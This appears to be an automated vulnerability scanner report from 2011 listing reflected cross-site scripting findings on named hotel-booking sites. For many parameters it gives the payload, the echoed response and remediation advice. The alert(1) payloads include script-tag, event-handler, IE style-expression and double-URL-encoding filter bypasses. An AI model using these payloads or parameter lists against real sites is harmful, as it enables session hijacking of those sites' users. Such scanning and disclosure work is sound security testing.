This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the session_key request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5152c"style%3d"x%3aexpression(alert(1))"1c7c7696765 was submitted in the session_key parameter. This input was echoed as 5152c"style="x:expression(alert(1))"1c7c7696765 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the session_key request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad165"style%3d"x%3aexpression(alert(1))"b5f07388fd31c4bf1 was submitted in the session_key parameter. This input was echoed as ad165"style="x:expression(alert(1))"b5f07388fd31c4bf1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the starRating request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6371a"style%3d"x%3aexpression(alert(1))"d300b6f357f325257 was submitted in the starRating parameter. This input was echoed as 6371a"style="x:expression(alert(1))"d300b6f357f325257 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the starRating request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9b77"style%3d"x%3aexpression(alert(1))"22c15fa7b0d was submitted in the starRating parameter. This input was echoed as f9b77"style="x:expression(alert(1))"22c15fa7b0d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the checkInDate request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bcfce"%3balert(1)//d87c20a00bf was submitted in the checkInDate parameter. This input was echoed as bcfce";alert(1)//d87c20a00bf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the checkInDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11670"style%3d"x%3aexpression(alert(1))"1aa8d5a4c6c was submitted in the checkInDate parameter. This input was echoed as 11670"style="x:expression(alert(1))"1aa8d5a4c6c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of the checkOutDate request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 16597"%3balert(1)//918d3a74d54 was submitted in the checkOutDate parameter. This input was echoed as 16597";alert(1)//918d3a74d54 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the checkOutDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df5ec"style%3d"x%3aexpression(alert(1))"00e29997f67 was submitted in the checkOutDate parameter. This input was echoed as df5ec"style="x:expression(alert(1))"00e29997f67 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of the key request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b0c98"%3balert(1)//acb6c7dcc1f was submitted in the key parameter. This input was echoed as b0c98";alert(1)//acb6c7dcc1f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the key request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fc99b'%3balert(1)//ce9060c5f8b was submitted in the key parameter. This input was echoed as fc99b';alert(1)//ce9060c5f8b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the key request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b080d"style%3d"x%3aexpression(alert(1))"0ff302ff5ae was submitted in the key parameter. This input was echoed as b080d"style="x:expression(alert(1))"0ff302ff5ae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of the numberOfRooms request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9ebfe"%3balert(1)//c64366dbbc8 was submitted in the numberOfRooms parameter. This input was echoed as 9ebfe";alert(1)//c64366dbbc8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the numberOfRooms request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2abcf'%3balert(1)//704c3f0f990 was submitted in the numberOfRooms parameter. This input was echoed as 2abcf';alert(1)//704c3f0f990 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
...[SNIP]... submitForm(sURLAddon,zoneId) {
var url='/hotels/startOffer.do?jsk=5463010a5064010a2011100300091519d011589950&plf=PCLN&FromHotelRTLPath=Y&searchType=CITY&cityName=Boston%2C+MA&numberOfRooms=12abcf';alert(1)//704c3f0f990&cityID=3000008602&checkInDate=10%2F04%2F2011&checkOutDate=10%2F07%2F2011';
if ((sURLAddon != null) && ((sURLAddon != ""))) { url=url+sURLAddon; } if (typeof(C_WAIT_DELAY_SEARCH)!="undefi ...[SNIP]...
The value of the key request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f61eb"%3balert(1)//53d85817f37 was submitted in the key parameter. This input was echoed as f61eb";alert(1)//53d85817f37 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the key request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 31a85'%3balert(1)//a55356e1663 was submitted in the key parameter. This input was echoed as 31a85';alert(1)//a55356e1663 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the key request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2b45"style%3d"x%3aexpression(alert(1))"f593ad246e3 was submitted in the key parameter. This input was echoed as e2b45"style="x:expression(alert(1))"f593ad246e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the conversionID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d825c"onerror%3d"alert(1)"2170802e0bd was submitted in the conversionID parameter. This input was echoed as d825c"onerror="alert(1)"2170802e0bd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the conversionLabel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a299"onerror%3d"alert(1)"d0370ac32b was submitted in the conversionLabel parameter. This input was echoed as 5a299"onerror="alert(1)"d0370ac32b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 43d71%2522%253balert%25281%2529%252f%252fe60ed69120c was submitted in the q parameter. This input was echoed as 43d71";alert(1)//e60ed69120c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the q request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Date: Mon, 03 Oct 2011 00:03:03 GMT Content-Length: 83645
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <hea ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.prop5="null:xss txt css img help faq43d71";alert(1)//e60ed69120c"; s.prop6="zero"; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 56e10%253cscript%253ealert%25281%2529%253c%252fscript%253e071d053f505 was submitted in the q parameter. This input was echoed as 56e10<script>alert(1)</script>071d053f505 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the q request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Date: Mon, 03 Oct 2011 00:03:06 GMT Content-Length: 83697
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <hea ...[SNIP]... <h2 class="searchpage">No Results Found results found for "xss txt css img help faq56e10<script>alert(1)</script>071d053f505"</h2> ...[SNIP]...
The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15a53%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e78b9cfe1f84 was submitted in the q parameter. This input was echoed as 15a53"><script>alert(1)</script>78b9cfe1f84 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the q request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6709"><script>alert(1)</script>e4671514908 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a55ac'%3balert(1)//1b974513244 was submitted in the REST URL parameter 1. This input was echoed as a55ac';alert(1)//1b974513244 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb14a'%3balert(1)//0bc95a6ed04 was submitted in the REST URL parameter 2. This input was echoed as eb14a';alert(1)//0bc95a6ed04 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6994"><script>alert(1)</script>e9338c63c3f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f5c4c'%3balert(1)//e6bb002832a was submitted in the REST URL parameter 3. This input was echoed as f5c4c';alert(1)//e6bb002832a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c9d3"><script>alert(1)</script>a89d45ffd1e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the aid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1797e</script><script>alert(1)</script>a62ba1e608e was submitted in the aid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the aid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb954"><script>alert(1)</script>ed55eb07e33 was submitted in the aid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the checkin_monthday request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf942"><script>alert(1)</script>41df27e8007 was submitted in the checkin_monthday parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the checkin_monthday request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c40b0</script><script>alert(1)</script>9c893ecf6af was submitted in the checkin_monthday parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the checkin_year_month request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed23e"><script>alert(1)</script>defc7b1fdf7 was submitted in the checkin_year_month parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the checkin_year_month request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da324</script><script>alert(1)</script>03dbfbc3f4c was submitted in the checkin_year_month parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the checkout_monthday request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 18d6b</script><script>alert(1)</script>36cc332c433 was submitted in the checkout_monthday parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the checkout_monthday request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 175d4"><script>alert(1)</script>4d50fc21cb9 was submitted in the checkout_monthday parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the checkout_year_month request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4451b"><script>alert(1)</script>1469f7d8f2b was submitted in the checkout_year_month parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the checkout_year_month request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8903c</script><script>alert(1)</script>c0693d7ea4 was submitted in the checkout_year_month parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the do_availability_check request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dafb4"><script>alert(1)</script>c6316da2516 was submitted in the do_availability_check parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the do_availability_check request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d12ee</script><script>alert(1)</script>d8fe18de66e was submitted in the do_availability_check parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the label request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1be8b"><script>alert(1)</script>a0af0a5308c was submitted in the label parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the label request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fddd2</script><script>alert(1)</script>fcb6fa376ec was submitted in the label parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the lang request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dabd9</script><script>alert(1)</script>c4e3a42ad78 was submitted in the lang parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the lang request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68dfe"><script>alert(1)</script>faaef80a365 was submitted in the lang parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
4.184. http://www.booking.com/hotel/us/c-boston-massachusettes.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.booking.com
Path:
/hotel/us/c-boston-massachusettes.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e603a"><script>alert(1)</script>4178c1e27b3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
4.185. http://www.booking.com/hotel/us/c-boston-massachusettes.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.booking.com
Path:
/hotel/us/c-boston-massachusettes.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4c610'%3balert(1)//55af9cf3306 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4c610';alert(1)//55af9cf3306 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the utm_content request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27066'-alert(1)-'d20d72902ca was submitted in the utm_content parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the utm_content request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d7f9"><script>alert(1)</script>995cb4fd7af was submitted in the utm_content parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the utm_medium request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2b58"><script>alert(1)</script>a34ab4a00ee was submitted in the utm_medium parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the utm_medium request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fd3ac'-alert(1)-'e975783ca10 was submitted in the utm_medium parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the utm_source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88360"><script>alert(1)</script>20235bacbb was submitted in the utm_source parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the utm_source request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5a8c0'-alert(1)-'25e8e054b4e was submitted in the utm_source parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the utm_term request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cedf9"><script>alert(1)</script>8c314782dd2 was submitted in the utm_term parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the utm_term request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 638b3'-alert(1)-'dc24a3dc444 was submitted in the utm_term parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 57fab'%3balert(1)//5fbdabc63bf was submitted in the REST URL parameter 1. This input was echoed as 57fab';alert(1)//5fbdabc63bf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf755"><script>alert(1)</script>61a65b853c8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 259d8"><script>alert(1)</script>99180b375ff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 109f6'%3balert(1)//510718ca3c6 was submitted in the REST URL parameter 2. This input was echoed as 109f6';alert(1)//510718ca3c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c246"><script>alert(1)</script>ca9d29b05b0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload edee7'%3balert(1)//ed927a03f37 was submitted in the REST URL parameter 3. This input was echoed as edee7';alert(1)//ed927a03f37 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the aid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 74577</script><script>alert(1)</script>db952ffff6a was submitted in the aid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the aid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87a75"><script>alert(1)</script>aac1708aa5d was submitted in the aid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
4.202. http://www.booking.com/hotel/us/copley-square.en-us.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.booking.com
Path:
/hotel/us/copley-square.en-us.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b59c'-alert(1)-'c9428a7f052 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
4.203. http://www.booking.com/hotel/us/copley-square.en-us.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.booking.com
Path:
/hotel/us/copley-square.en-us.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5695f"><script>alert(1)</script>df25147b85d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 53495'%3balert(1)//0c7dd70f369 was submitted in the REST URL parameter 1. This input was echoed as 53495';alert(1)//0c7dd70f369 in the application's response.
